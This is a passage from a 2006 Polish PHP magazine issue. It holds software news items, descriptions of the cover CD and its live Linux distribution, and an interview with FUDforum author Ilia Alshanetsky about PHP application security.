o tym, jak kształtuje się społeczność uży-wająca Moodle'a (ok. 40 tyś nowych użytkow-ników rocznie, a liczba stron używających Mo-odle'a w ciągu roku wzrosła 5-krotnie, z 2 to 10 tyś). Na stronie znajdziemy też Roadmap z cał-kiem ambitnymi planami rozbudowy systemu na najbliższy rok. http://moodle.org

PHP 4.4.2 i PHP 5.1.2

Mimo, że PHP w wersji piątej już od jakiegoś czasu dominuje na serwe-

rach, nie zanosi się póki co, na zamknięcie czwartej linii języka. Jej kolejne wersje wy-dawane są regularnie, podobnie jak PHP 5.

Do najważniejszych zmian w PHP 4.4.2 można zaliczyć: usunięcie proble-mu związanego z możliwością przepro-wadzenia ataków XSS w konkretnych sy-tuacjach; usunięcie problemów z funkcja-mi key() and current(); naprawienie błęd-nego funkcjonowania PHP z Apache 2 na

serwerach nielinuksowych; naprawienie ponad 30 innych błędów.

W PHP 5.1.2 również wprowadzono kilka bardzo istotnych zmian: naprawio-no pojawiające się w pewnych sytuacjach błędy związane z podatnością na ataki XSS; rozszerzenia Hash i XMLWriter zo-stały dodane do dystrybucji jako domyślne; zaktualizowano rozszerzenie OCI8; na-prawiono ponadto 85 różnych błędów.

http://www.php.net

FUDforum – najlepsze darmowe forum w PHP?

Z całą pewnością FUDforum jest jed-nym z najlepszych systemów for

dyskusyjnych napisanych w PHP, w szczególności pod względem bezpie-czeństwa. Śmiało konkuruje z komer-cyjnymi produktami takimi jak vBulletin czy Invision Power Board. Jego dosko-nałą rekomendacją jest fakt, że jest uży-wane w takich miejscach jak Zend Deve-loper Zone, czy portale najważniejszych magazynów o PHP. Autorem FUDforum jest Ilia Alshanetsky, jeden z najbardziej znanych deweloperów PHP, autor książ-ki PHP Security Guide, z którym mieli-śmy okazję rozmawiać i opublikować wy-wiad właśnie w tym wydaniu PHP Solu-tions. Ilia na co dzień zajmuje się tema-tyką zapewniania bezpieczeństwa apli-kacjom WWW i tym samym zabezpiecza FUDforum na wszelkie możliwe sposo-by. Oczywiście kwestie bezpieczeństwa to nie wszystko. Forum zaskakuje dużą funkcjonalnością.

Interfejs administratora jest dość rozbudowany (i przez to niestety ma-ło przejrzysty) i przygniata dużą ilością opcji. Administracja forum jest przez to nieco trudniejsza niż np. w przypadku phpBB. Drugim (i chyba ostatnim) minu-sem FUDforum jest kiepska szata gra-ficzna, co może zniechęcać wielu użyt-kowników.

Reasumując: FUDforum oferuje na-prawdę duże możliwości i przeznaczo-ne jest raczej dla bardziej zaawanso-wanych użytkowników. Jeśli zdecyduje-cie się na przejście na FUDforum, to za pomocą dostępnych na stronie projektu skryptów możemy dokonać bezbolesnej migracji z najbardziej znanych for ta-kich jak phpBB. Zachowują się wszyst-kie dane (również uprawnienia użytkow-ników).

Licencja: GPLhttp://fudforum.org/forum/

Page 10: PHP Solutions 03 2006 PL

Aktualności

PHP Solutions Nr 3/2006www.phpsolmag.org10

Phalanger, czyli migracja z .NET do PHPPhalanger pozwala na kompilację aplikacji stworzonej w PHP do .NET, czyli jej urucho-mienie na platformie ASP.NET. Żeby prze-prowadzić kompilację, będziemy potrzebo-wali: systemu Windows, frameworka .NETw wersji.1.1 i serwera IIS. Phalanger tłu-maczy kod PHP 5 na język MSIL platfor-my .NET i zintegrowany jest z Visual Studio .NET. Można kompilować PHP-owe aplika-cje do osobnych programów, jak też do po-jedynczych bibliotek.Niedawno ukazała się pierwsza stabilna wersja Phalangera (1.0), która wspiera wie-le nowych rozszerzeń takich jak ODBC czy WinBinder. Dodano obsługę najnowsze-go MySQL-a, nowe funkcjonalności z PHP 5.1.2 oraz naprawiono wiele błędów. Na stronie projektu znajdziemy dokumentację oraz ciekawe i zaskakujące benchmarki (np. Phalanger/MSSQL kontra PHP/MSSQL lub Phalanger/IIS kontra PHP/IIS). Można też zobaczyć przykładowe aplikacje, które zo-stały przekompilowane do .NET, np.: php-MyAdmin, phpBB czy PHP-Nuke. Z Road-mapy projektu można się dowiedzieć o wie-lu ciekawych zmianach, które zostaną prze-prowadzone w kolejnych wersjach aplikacji, np. wspraciu dla .NET Framework 2.0i Mono.http://www.php-compiler.net/

Pakiet łat bezpieczeństwa dla aplikacji PHPHardening-Patch to zestaw łat, który za-pewnia zwiększone bezpieczeństwo ser-wera WWW oraz aplikacji pisanych w PHP. Pakiet obecnie liczy 16 łat, m.in.: ochro-na przed uploadowanymi zainfekowanymi plikami czy przed atakami HTTP Respon-se Splitting. Deweloperzy projektu świadczą wsparcie, publikują artykuły i organizują audyty bez-pieczeństwa. Oficjalnie określili wydanie PHP Security Consortium Guide mianem szkodliwej lektury.Licencja: BSDhttp://www.hardened-php.net/

PEAR::Image_3DImage_3D to pakiet dla PHP 5 umożliwiają-cy tworzenie grafiki 3D. Pozwala na tworze-nie różnych trójwymiarowych obiektów i de-finiowane własnych. Zapewnia nawet im-port plików popularnego programu 3DSMax. Grafiki wyjściowe tworzy za pośrednictwem GD, SVG lub ASCII. Pakietowi brakuje nie-stety dokumentacji dla użytkownika, przykła-dów i tutoriali.Licencja: LGPLhttp://pear.php.net/package/Image_3D

Nitro Web FrameworkNitro to profesjonalny framework wykorzystują-cy Ruby i Javascript. Oferuje wyjątkowo przej-rzyste API i mapowanie ORM. Wykorzystu-je AJAX-a i XML-a. Jednym słowem: RAD (Ra-pid Application Development) dla programi-stów PHP.Licencja: BSDhttp://www.nitrohq.com/

phpDataCachePhpDataCache to biblioteka oferująca proste API do cachowania danych w zmiennych PHP. Wspiera wiele różnych DAO (Data Access Ob-jects) w zależności od zastosowania.Licencja: LGPLhttp://sourceforge.net/projects/phpdatacache/

PEAR::PHP_Compat, czyli PHP 5 w PHP 4

Dobre rozwiązanie dla tych, którzy z jakichś powodów nie mogą sobie po-

zwolić na nowe środowisko – PHP 5 na serwerze WWW, a stawiane aplikacje wy-magają tej wersji języka.

PHP Compat to zbiór funkcji z PHP 5 napisanych powtórnie specjalnie dla PHP 4. Pakiet jest na bieżąco rozwijany i gdy tyl-ko pojawiają się nowe funkcje w PHP 5, są tworzone ich odpowiedniki w PHP 4. PHP

Compat nie jest zwykłym pakietem PEAR – nie trzeba go instalować. Wystarczy po-brać pliki i umieścić je tam, gdzie wskazuje opcja include_path w php.ini. Pakiet rozwi-jany jest od połowy 2004 roku. W tym cza-sie naprawiono kilka błędów i napisano kil-kadziesiąt funkcji.

Licencja: PEAR, PHP Licensehttp://pear.php.net/package/PHP_Compat

MD-Pro

MD-Pro to łatwy w użyciu, administracji i utrzymaniu CMS tworzony przez sku-

piającą profesjonalistów PHP społeczność MaxDev. Jest to system modularny (podob-nie jak np. XOOPS, czy Drupal), z możliwo-ścią rozszerzania instalacji o wybrane z re-pozytorium czy tworzone indywidualnie mo-duły. Wśród dostępnych modułów warto wymienić: e-commerce (sklepy, systemy płatności np. PayPall); zarządzanie pro-jektami, kalendarze, organizatory pracy; galerie zdjęć, fora, czaty; zaawansowane systemy menu, statystyki, narzędzia do zarządzania serwerem; sondy, newslet-ter, zdalne nauczanie.

CMS zapewnia wielojęzyczność, ła-twość modyfikacji i dostosowania szablo-nów oraz pozycjonowanie bloków na stro-nie WWW. MD-Pro oferuje póki co wspar-cie dla MySQL-a i Oracle'a. Posiada rozbu-dowany, przejrzysty panel administracyjny z możliwością elastycznego i swobodnego zarządzania uprawnieniami, grupami i użyt-kownikami. Mamy do wyboru cztery różne typy panelu administracyjnego (np. z grafi-

kami lub bez). Bloki umieszczamy w dzie-więciu różnych pozycjach na stronie i mo-żemy swobodnie zmieniać ich szablony. MD-Pro oferuje też menedżer plików oraz narzędzia do backupowania i optymaliza-cji bazy danych. Do edycji artykułów służy RTE Editor. Mamy też wbudowany mecha-nizm statystyk.

MD-Pro jest w 98% kompatybilnyz modułami, blokami i szablonami z Po-stNuke i eNvolution. Projekt posiada mię-dzynarodowe wsparcie w wielu językach. Dużym plusem projektu jest obszernai przejrzysta dokumentacja.

Licencja: GPLhttp://www.maxdev.com/

Page 11: PHP Solutions 03 2006 PL
Page 12: PHP Solutions 03 2006 PL

www.phpsolmag.org12

Opis CD

PHP Solutions Nr 3/2006

ConTEXT Editor

ConTEXT to wielookienkowy edytor programistyczny, ułatwiający two-

rzenie aplikacji w PHP, Pythonie, Perlu, Javie, Javascripcie i sporej liczbie innych języków. Pozwala na zakładanie projek-tów obejmujących zestaw plików, reje-strację i uruchamianie makr czy stoso-wanie szablonów kodu. To ostatnie ro-bi duże wrażenie: możemy dodawać no-we i edytować istniejące wzorce (np. kla-sy czy funkcje), a następnie jednym na-ciśnięciem CTRL+J wklejać je w dowol-nym miejscu. Edycję ułatwiają również zakładki, które umieszczamy w wybra-nych liniach, a później możemy się do nich odwoływać.

Bardzo wygodne jest zaznaczanie dowolnego fragmentu kodu: możemy wy-brać prostokątny blok np. od dziesiątej do piętnastej kolumny. Przydatne jest też po-równywanie zawartości dwóch plików czy wyszukiwanie i zamiana przy użyciu wy-rażeń regularnych. ConTEXT pozwa-la również na przechwytywanie wyników działania programów uruchamianych w li-nii poleceń.

Interfejs edytora ConTEXT jest wielo-języczny: wśród dostępnych wersji znaj-

duje się m.in. polska, francuska, niemiec-ka i włoska.

Podsumowując: ConTEXT to darmo-wy produkt porównywalny z niektórymi rozwiązaniami komercyjnymi, zdecydo-

wanie wart zainteresowania każdego pro-gramisty piszącego w PHP i nie tylko.

Licencja: freewarehttp://www.context.cx

PHP Expert Debugger i PHP Expert Editor

PHP Expert Debugger to darmowe i ła-twe w użyciu narzędzie służące do

debuggowania skryptów napisanych w PHP. Program korzysta z DBG PHP De-bugger firmy Nusphere i pozwala debugo-wać skrypty zarówno poprzez sieć, jak i na lokalnych maszynach. Skrypty można uru-chamiać w trybie krok-po-kroku w celu śle-dzenia wartości dowolnej zmiennej oraz wyniku skryptu. Debugger posiada przyja-zny interfejs, a jego dodatkową zaletą jest możliwość integracji ze środowiskami pro-gramistycznymi dla PHP oraz edytorami.

PHP Expert Editor to kolejny przed-stawiany przez nas edytor dedykowany PHP. Twórcy przedstawiają go nawet jako łatwe w użyciu IDE (ang. Integrated Deve-lopment Environment). Edytor zaprojekto-wany został z myślą o raczej zaawanso-wanych programistach PHP, choć posia-da funkcje przyjazne także początkują-cym. Wśród wielu funkcjonalności wy-mienić warto wbudowany serwer HTTP (można używać także zewnętrznych ser-werów) oraz Debugger w którym możemy uruchamiać, testować i debugować two-

rzone skrypty. Program posiada obowiąz-kowe podświetlanie składni, wbudowa-ną przeglądarkę, funkcję przeszukiwania kodu, wyszukiwania plików, klienta FTP,

przeglądarkę tworzonych projektów, prze-glądarkę bibliotek, system szablonów ko-du oraz inne raczej oczywiste funkcje (jak różne tryby podświetlania).

Page 13: PHP Solutions 03 2006 PL

www.phpsolmag.org 13

Opis CD

PHP Solutions Nr 3/2006

JFFNMS – Just For Fun Network Management System

JFFNMS to rozbudowane narzędzie do zarządzania i nadzorowania sieci lo-

kalnej, działające w przeglądarce interne-towej. Pozwala śledzić ruch wchodzący i wychodzący i sporządzać szczegółowe raporty i statystyki, obejmujące m.in. licz-bę przesyłanych bajtów, procent wykorzy-stania łącza, liczbę pakietów (w tym błęd-nych) na sekundę, ilość połączeń (również połączenia odrzucone), komunikację TCP (połączenia przychodzące, wychodzące, nawiązane i opóźnione), liczbę użytkow-ników oraz zużycie pamięci i dysków czy procesora, jak też działanie oprogramo-wania serwerowego, np. Apache'a. Może-my też monitorować zawartość przesyłaną przez porty TCP.

Program informuje użytkownika o zdarzeniach zachodzących w sieci (m.in. przez RSS, e-mail czy RDF), a także po-zwala eksport zebranych danych do pliku CSV czy sporządzanie wykresów na ich podstawie.

JFFNMS integruje się z popularnymi narzędziami administratorskimi, takimi jak Smokeping, fping, NMAP, Linux TC, Ta-tacs, IPTables, NTP czy MSyslog, a tak-że z występującym w każdej dystrybu-cji Linuksa cronem (menedżer planowa-nych zadań).

JFFNMS został napisany w PHP (współpracuje z PHP5) i jest aplikacją

obiektową. Do działania wymaga PHP, Apache'a i bazy danych (MySQL lub PostgreSQL). Jak zapewnia producent, program powinien działać pod każdym systemem operacyjnym, dla którego ist-nieje PHP.

(był testowany na Linuksie, FreeBSD i Windows 2000). Oprócz tego, wyma-ga Apache'a, bazy danych (MySQL lub PostgreSQL) oraz narzędzi: RRDtool, NMAP i GNU Diff. Opcjonalnie, przy-da się również serwer TFTP i trapd, na-

rzędzia NET-SNMP, biblioteki Graphvizi Webfonts czy skaner portów NMAP.

Instalacja pakietu jest prosta i do-brze opisana. Podsumowując: JFFNMS to narzędzie, które przyda się każde-mu administratorowi i właścicielowi sie-ci komputerowej, który chce orientować się w wykorzystaniu swoich zasobów.

Licencja: GNU GPLhttp://www.jffnms.org

Filmy tutorialowe

W poprzednim numerze PHP Solutions zamieściliśmy na płycie komercyjne

filmy firmy KeyStone Learning. W tym nu-merze zamieściliśmy kompletne tutoriale user_login, user_memberlist i user_mem-berlist2. Są to trzy filmy pokazujące two-rzenie oprogramowania w PHP (opracowa-ne zostały na podstawie wersji PHP4) przy użyciu edytora programistycznego Con-TEXT. Są całkiem długie (razem ponad go-dzinę) i wyczerpujące. Na pierwszym z nich pokazane jest, jak napisać formularz logo-wania oraz skrypt, który go obsługuje. Dwa kolejne demonstrują tworzenie aplikacji po-zwalającej na przeglądanie oraz edycję li-sty użytkowników. Wszystkie filmiki opatrzo-ne są narracją, w której programista prowa-dzi widza krok po kroku przez wszystkie eta-py tworzenia tych programów. Szczególny nacisk kładziony jest na pokazanie zagad-nień związanych z bezpieczeństwem (m.in. oczyszczanie danych pobieranych z formu-larza poprzez eskejpowanie czy usuwanie

tagów HTML-owych) oraz łączeniem z ba-zami danych. Podsumowując: opisane filmy

są ciekawą propozycją, choć raczej dla po-czątkujących programistów.

Page 14: PHP Solutions 03 2006 PL

www.phpsolmag.org14

Opis CD

PHP Solutions Nr 3/2006

IMP Webmail Client

IMP to program pocztowy działający w przeglądarce internetowej. Umożli-

wia dostęp do kont IMAP oraz POP3, co wyróżnia go pozytywnie pośród innych klientów, których funkcjonalność prze-ważnie ogranicza się do obsługi kont IMAP-owych. Należy jednak wspomnieć, że w obu przypadkach wymaga obsługi IMAP przez serwer, na którym zainstalo-wane jest PHP.

Interfejs programu IMP jest przejrzy-sty i wygodny w obsłudze. Bardzo dobre wrażenie sprawia edytor typu WYSIWYG do tworzenia wiadomości. Poza tym, IMP zapewnia obsługę (w tym przeszukiwanie) wielu kont mailowych jednocześnie, możli-wość stosowania kryptografii, poprawiony w stosunku do wersji poprzedniej support typów MIME czy elastyczność w wyborze i zmianie aktualnej strony kodowej. Wiado-mości są posegregowane na wielopozio-mowe foldery. Możemy też przeszukiwać zgromadzone listy i zapisywać wyniki po-szukiwań do późniejszego wykorzystania.

Projekt dzieli się na dwie gałęzie (obie stabilne) – 4.0 oraz 3.2.8, które minimal-nie różnią się pod względem możliwości. Do działania, IMP wymaga PHP (wersja 4.3.0), biblioteki UW-IMAP c-client oraz

frameworka Horde (do którego zresztą należy) w wersji 3.0 lub nowszej. Podsu-mowując: jeden z lepszych klientów ma-ilowych; twórcom należy się uznanie za to, że nie zapomnieli o użytkownikach kont POP3.

Warto wiedzieć i pamiętać o istnie-niu tego typu aplikacji, bo mogą one być

bardzo pomocne. Możliwość sprawdzania poczty w dowolnym miejscu (z dostępem do sieci), na dowolnym komputerze wy-posażonym w przeglądarkę internetową jest często nieoceniona.

Licencja: GNU GPLhttp://www.horde.org/imp

PHP Solutions Live – opis płyty CD

Na płycie CD ponownie zamieściliśmy PHP Solutions Live – bootowalną

dystrybucję Linuksa opartą na Aurox Live 11. Bazowa zawartość dystrubucji w zasa-dzie się nie zmieniła. Stanowi ona komplet-ną platformę testową, zawierającą PHP5, bazę danych MySQL, serwer WWW Apa-che oraz przeglądarkę Firefox. Pozwala na testowanie i modyfikowanie opisanych w artykułach aplikacji, a także tworzeniei korzystanie z własnych skryptów (należy je umieszczać w katalogu /var/www/html).

Aby uruchomić dystrybucję, nale-ży wystartować komputer z płyty CD

(może okazać się konieczne ustawieniew BIOS-ie komputera odpowiedniej opcji). Po uruchomieniu systemu, uka-że się okno przeglądarki internetowej, zawierające menu płyty podzielone na kategorie. To samo menu dostępne jest w przypadku korzystania z płyty na za-instalowanym systemie. Pierwszą z nich są rozwiązania z artykułów. Ten odno-śnik działa jednak tylko w systemie Live. Znajdują się tam rozwiązania z artyku-łów jak system eyeOS (użytkownik:root; hasło:admin) oraz Ampache (użytkow-nik: admin; hasło:admin). Niżej znajdzie-cie filmy, które można odtwarzać jednym kliknięciem z poziomu Live.

W następnych pozycjach menu znaj-dziecie aplikacje, które zmieściły się na płycie oraz książki w formacie PDF.

PHP Solutions Live pozwala na ko-rzystanie z dysków twardych (wszyst-kie partycje są automatycznie mon-towane podczas startu systemu) oraz sieci lokalnej i Internetu. Sieć trzeba najpierw skonfigurować. Możecie to

zrobić na kilka sposobów. Pierwszym z nich jest użycie działającego w try-bie graficznym narzędzia (system-ne-twork-config). Menu systemu dostęp-ne jest po kliknięciu prawym przyci-skiem myszki na pulpicie. Drugą meto-dą jest wywołanie polecenia netconfig z terminala. Po jego użyciu trzeba zre-startować sieć poleceniem service ne-twork restart. Kolejnym sposobem jest użycie trzech komend linuksowych: ifconfig urządzenie adres _ IP, route add default gw adres _ bramki _

internetowej oraz echo "nameserver

adres _ IP" > /etc/resolv.conf.

Życzymy miłej pracy z Livem i cze-kamy na Wasze sugestie, Redakcja PHP Solutions.

Page 15: PHP Solutions 03 2006 PL

Na CDNa CD

HITKursy Video: User Login i User Memberlist – obejrzyj w Live!

Rozwiązania z artykułów w PHP Solutions LiveCDEyeOSAmpache

Aplikacje Context Editor – edytor wykorzystany w kursach videoDzSoft PHP Editor – wydłużony 45 dniowy trial Quick Web Photo Resizer – wydłużony 45 dniowy trial PHP Expert Editor – sharewarePHP Expert debugger – shareware

Wsz

ystk

ie lis

tingi

z a

rtyku

łów

zos

tały

zam

iesz

czon

ena

nas

zej s

troni

e in

tern

etow

ej p

od a

dres

em www.phpsolmag.org/pl

3 nowe książki elektroniczneByte of PythonVersion Control with SubversionProlog and Natural – Language Analisis

Wsz

ystk

ie lis

tingi

z a

rtyku

łów

zos

tały

zam

iesz

czon

ena

nas

zej s

troni

e in

tern

etow

ej p

od a

dres

em www.phpsolmag.org/pl

Przetestuj aplikacjebez instalacji!

Page 16: PHP Solutions 03 2006 PL

www.phpsolmag.org16

Wywiad

PHP Solutions Nr 3/2006 www.phpsolmag.org 17

Wywiad

PHP Solutions Nr 3/2006

Wywiad z Ilią Alshanetskym

PHP Solutions: W jaki sposób zaczęła się Twoja przygoda z PHP, w szczególności z aspektami bezpieczeństwa?

Ilia Alshanetsky: Używam PHP od około 8 lat, zaś przez ostatnie 4-5 lat aktyw-nie współuczestniczę w rozwijaniu tej tech-nologii. Bezpieczeństwo aplikacji jest jed-nym z tych aspektów, do których zawsze przywiązuję dużą wagę przy projektowa-niu aplikacji. Za każdym razem, kiedy piszę nowy fragment kodu, staram się myśleć o konsekwencjach wykorzystania tworzonego właśnie rozwiązania, głównie w kontekście bezpieczeństwa. Uważam po prostu, że bezpieczeństwo aplikacji jest jednym z tych elementów funkcjonalności, których zwy-czajnie nie da się dodać później. Od ponad dwóch lat staram się promować i uspraw-niać mechanizmy bezpieczeństwa PHP.

PHPS: Jak Twoim zdaniem prezentują się rozwiązania związane z zapewnieniem bezpieczeństwa PHP (i aplikacji WWW) w odniesieniu do takich platform jak Java lub ASP. Czy w porównaniu z technologią PHP mechanizmy te wyróżniają się czymś szcze-gólnym?

Ilia: Moim zdaniem główną siłą języ-ka PHP jest łatwość jego używania. Inny-

Ilia jest głównym architektem oprogramowania w Advanced Internet Designs Inc, firmie oferującej wsparcie oraz usługi deweloperskie dla szerokiej gamy podmiotów, zarówno komercyjnych jak i rządowych, główniew zakresie technologii PHP. Poza zaangażowaniem w przedsięwzięcia komercyjne, Ilia uczestniczy też w wielu projektach typu Open Source. Jest twórcą FUDForum i autorem książki „PHP Security Guide”. Jako deweloper bierze udział w rozwijaniu wielu rozszerzeń języka PHP: między innymi PDO, GD, SQLite.

mi słowy: niemalże każdy po przyswoje-niu podstawowych informacji, może prak-tycznie z miejsca zacząć pisać działają-ce programy w oparciu o PHP. Jednak nie na tym polega prawdziwa sztuka inżynie-rii oprogramowania. Chodzi o to, że ludzie którzy piszą programy, których celem jest „tylko” działać, często zapominają o innych ważnych kwestiach. Jedną z takich kwestii jest właśnie bezpieczeństwo aplikacji. Pro-gramistom wydaje się zazwyczaj, że PHP niejako automatycznie rozwiązuje wszyst-kie związane z tym problemy. Niestety, jak pewno zdajesz sobie z tego sprawę, osoby myślące w ten sposób są w dużym błędzie. W konsekwencji mamy na rynku nawał apli-kacji zbudowanych przy użyciu PHP, które pod względem bezpieczeństwa są, delikat-nie mówiąc, niezadowalające. Na dodatek, wielu autorów takich aplikacji dokleja skrót PHP do nazw swoich produktów, po to aby ludzie kojarzyli je z tą technologią. Przykła-dy takiego marketingowego zabiegu moż-na mnożyć: PHPNuke, PHPBB, phpMyAd-min i tak dalej... Konsekwencje są takie, że jeśli we wspomnianych produktach znajdo-wane są dziury, to wiele osób wyrabia so-bie automatycznie zdanie, że problem le-

ży w samym PHP. Problem w tym, że lu-dzie słabo obeznani z informatyką (a w szczególności nieobeznani z PHP) nie do końca rozpoznają różnicę pomiędzy języ-kiem PHP, a aplikacją pisaną w tym języku. Za to Ci, którzy te różnicę rozumieją, czę-sto mimo to wyrabiają sobie mylne zdanie na zasadzie rozumowania: skoro wszyst-kie te duże, poważne (i popularne) projekty mają luki w zabezpieczeniach to musi być to wina PHP. Przecież autorzy tych projek-tów nie mogą się wszyscy naraz mylić...Z technicznego punktu widzenia, PHP nie jest bardziej czy mniej bezpieczne niż Java czy .NET. Jednak dziwnym trafem mało kto zakłada, że Java sama z siebie gwarantuje bezpieczeństwo tworzonych w niej aplika-cji. A w przypadku PHP takie założenie jest niemalże na porządku dziennym.

PHPS: Jesteś autorem książki PHP Security Guide. Na czym głównie skupiłeś się przygotowując tę pozycję?

Ilia: Starałem skupić się na najczęściej wykorzystywanych słabych punktach istnie-jących w mechanizmach bezpieczeństwa Internetu, oczywiście ze szczególnym ukie-runkowaniem na problemy związane z PHP. Mam tu na myśli takie zjawiska jak ataki

Page 17: PHP Solutions 03 2006 PL

www.phpsolmag.org16

Wywiad

PHP Solutions Nr 3/2006 www.phpsolmag.org 17

Wywiad

PHP Solutions Nr 3/2006

XSS (ang. Cross Site Scripting), fałszowa-nie żądań (ang. Request Forgery), wstrzy-kiwanie kodu SQL (ang. SQL Injection) i tak dalej. Celem mojej książki było przedstawie-nie wspomnianych form ataków, wyjaśnie-nie na czym polegają niebezpieczeństwa z nimi związane i wreszcie: pokazanie, w jaki sposób techniki te są w praktyce nadużywa-ne. Byłbyś prawdopodobnie zdziwiony, gdy-byś wiedział jak wielu ludzi (zarówno progra-mistów jak i menedżerów IT) wykazuje na-gminną i niemalże irracjonalną tendencję do ignorowania tego typu problemów. Weźmy na przykład atak XSS: wiele osób argumen-tuje, że technika ta wymaga specjalnych technik socjologicznych w celu jej zastoso-wania i przez to mało kto jej używa. Ponie-waż tego typu argumenty ocierają się o non-sens, dlatego w swojej książce dosyć dużo miejsca poświęciłem na analizę wspomnia-nych problemów w kontekście praktycznym.

PHPS: Czy mógłbyś powiedzieć coś na temat projektów, w których aktualnie bierzesz udział. Które z nich są najbar-dziej interesujące? I dlaczego?

Ilia: Zasadniczo, niemalże o wszyst-kich projektach (zarówno tych otwartych jak i tych komercyjnych) w których biorę (bądź brałem) udział, mogę powiedzieć, że by-ły interesujące. Dla przykładu, ostatnio pra-cuję nad aplikacją, której zadaniem jest au-tomatyczne wykrywanie słabych punktów w systemach webowych i przygotowywanie szczegółowych raportów dla klienta. Projekt ten jest niezwykle ekscytujący i jednocze-śnie stanowi duże wyzwanie od strony tech-nicznej. Poświęcam temu prawie przez ca-ły swój wolny czas i sądzę, że jeszcze tro-chę potrwa, zanim dobrnę do końca. Wyda-je mi się, że w perspektywie ostatniego roku było to chyba najciekawsze z moich przed-sięwzięć. Oczywiście w międzyczasie zaj-muję się też FUDforum, gdzie zawsze sta-ram się prezentować coś nowego. Można powiedzieć, że prowadzę wyścig z samym sobą, starając się ulepszać to, co już robi-łem wcześniej. To również jest bardzo eks-cytujące zajęcie, szczególnie kiedy udaje mi się znaleźć nowe, lepsze rozwiązanie pro-blemu, który wydawał się być już całkowicie rozłożony na łopatki.

PHPS: Jakie były początki projektu FUDforum. Czy był jakiś specjalny powód, który sprawił, że się tym zająłeś?

Ilia: Często odpowiadam na tego ty-pu pytania ;-). Można powiedzieć, że pro-jekt ruszył z dwóch powodów. Po pierwsze,

potrzebowałem biuletynu informacyjnego o bardzo dużej przepustowości i żadne z ist-niejących rozwiązań (zarówno darmowych jak i komercyjnych) nie odpowiadało moim potrzebom. Dodatkowo, jedno z wymagań odnośnie docelowego rozwiązania zakłada-ło potrzebę ścisłej integracji z NNTP, w ce-lu uzyskania obustronnej komunikacji po-między forum a serwerem newsów. Po wy-konaniu wstępnych badań, które miały okre-ślić, na ile opłaca się modyfikować istnieją-ce rozwiązania w celu uzyskania wymaga-nej wydajności i funkcjonalności, uznałem że korzystniej będzie zbudować taki system od podstaw. I tak to się zaczęło...

PHPS: Co Twoim zdaniem jest naj-ważniejsze w kontekście przyszłości plat-formy PHP? Jakie zmiany należałoby we-dług Ciebie wprowadzić tak, aby ulepszyć język, zwiększyć bezpieczeństwo aplikacji i sprawić, że PHP będzie częściej używany do budowania rozwiązań klasy Enterprise?

Ilia: Cóż, wydaje mi się, że powstawa-nie i rozwój takich firm jak Zend, Omni Ti, Advanced Internet Designs Inc (to akurat moja firma) czy eZ Publish, daje bardzo du-żo w kontekście przydatności PHP przy bu-dowaniu zaawansowanych rozwiązań biz-nesowych. W przypadku dużych firm, głów-nym problemem jest najczęściej brak wspar-cia dla danej technologii, szczególnie w sytu-acjach krytycznych. Problem ten dotyka wie-lu przedsięwzięć typu Open Source. Dewe-loperska lista dyskusyjna czy też adres ma-ilowy do autorów, to często zbyt mała gwa-rancja wsparcia dla dużych organizacji, któ-re chciałby korzystać z rozwiązań otwartych. W momencie kiedy pojawiają się firmy ofe-rujące profesjonalną pomoc w tym zakresie (w przewidywalnym czasie), sytuacja wy-gląda zupełnie inaczej. Inna sprawa to kwe-stia popularności danej technologii. Na przy-kład PHP jest używane do obsługi serwisu Yahoo. Fakt ten jest niezwykle istotny, głów-nie z tego względu, że menadżerowie lubią weryfikować swoje decyzje na podstawie decyzji podejmowanych w innych firmach. Bardzo mało jest odważnych jednostek, któ-re decydują się wykonać pierwszy krok. Jeśli chodzi o platformę samą w sobie, to wydaje mi się, że należy zwiększyć nakład pracy nad dostarczaniem narzędzi ułatwiających i wspomagających proces budowania aplika-cji oraz integrację z najnowszymi technolo-giami – takimi jak na przykład JSON. Waż-nym aspektem wydaje się być kwestia inte-gracji PHP z innymi platformami i językami,

takimi jak Java czy .NET. Na szczęście fir-my takie jak Sun czy Zend pracują aktualnie nad tymi zagadnieniami, co wróży rychłą po-prawę aktualnego stanu rzeczy. Jeśli mówi-my o sprawach powiązanych z bezpieczeń-stwem to myślę, że warto by popracować nad usprawnieniem podstawowego pakietu narzędzi PHP, tak aby pisanie bezpiecznych aplikacji było łatwiejsze i bardziej naturalne. Dobry przykład, a jednocześnie zdecydowa-ny krok w dobrym kierunku w tej dziedzinie stanowi rozszerzenie PHP udostępniające mechanizmy filtrowania.

PHPS: Wiele rozwiązań tworzonych w PHP wzoruje się na istniejących pomy-słach realizowanych na bazie innych plat-form, takich jak na przykład Java. Moż-na by tu wymienić takie projekty jak SDO, PHPUnit czy iConnect, a także wiele in-nych. Czy sadzisz, że nadejdzie kiedyś dzień, kiedy sytuacja się odwróci i progra-miści Javy będą czerpać pomysły z pro-jektów opartych na platformie PHP? Czy myślisz, że jest to w ogóle możliwe?

Ilia: Nie widzę przeszkód – w końcu do-bre pomysły są w dużej mierze niezależ-ne od platformy. Prawdę mówiąc widziałem już kilka rozwiązań budowanych przy uży-ciu ASP/.NET, lecz opartych – w sensie kon-cepcyjnym – na projektach PHP. Przykłado-wo ASPMyAdmin odwzorowuje ideę php-MyAdmin, tyle że docelowo działa w środo-wisku Microsoft SQL Server.

PHPS: Jakie są Twoje plany zawodo-we na najbliższy czas? Zamierzasz rozpo-czynać jakieś nowe projekty?

Ilia: Jest jedna rzecz, którą chciałbym się w niedługim czasie zająć. Mam na my-śli bibliotekę, czy może wręcz rozszerzenie PHP, pozwalające przekształcać zapytania użytkownika na format, który byłby łatwy do zastosowania przy budowaniu zapytań ni-skopoziomowych. Cała ta sprawa wiąże się z faktem, że ostatnio spędziłem dużo czasu na przystosowywaniu PHP do pracy z róż-nymi ciekawymi silnikami wyszukiwania, na przykład Xapian. W trakcie pracy okaza-ło się, że brakuje mi udogodnień wspiera-jących przekształcanie złożonych zapytań użytkownika na odpowiadające im zapyta-nia do bazy danych. Sądzę, że mając wspo-mniane udogodnienie, można by oszczędzić sobie bardzo dużo pracy w różnego rodzaju przedsięwzięciach. n

Wywiad przeprowadziłDariusz Pawłowski

Page 18: PHP Solutions 03 2006 PL

www.phpsolmag.org18

Początki

PHP Solutions Nr 3/2006

Niestety dokument ten, ze wzglę-du na rozmiary i poziom szcze-gółowości jest stosunkowo trud-

ny w odbiorze. Dlatego też napisałem ni-niejszy artykuł, który w przystępny i kom-paktowy sposób prezentuje wszystkie kluczowe aspekty poruszane w trakcie wspomnianej dyskusji. Dzięki temu, bez zbędnego wysiłku, każdy zainteresowa-ny może dowiedzieć się, jakie nowe moż-liwości kryją się pod maską PHP6.

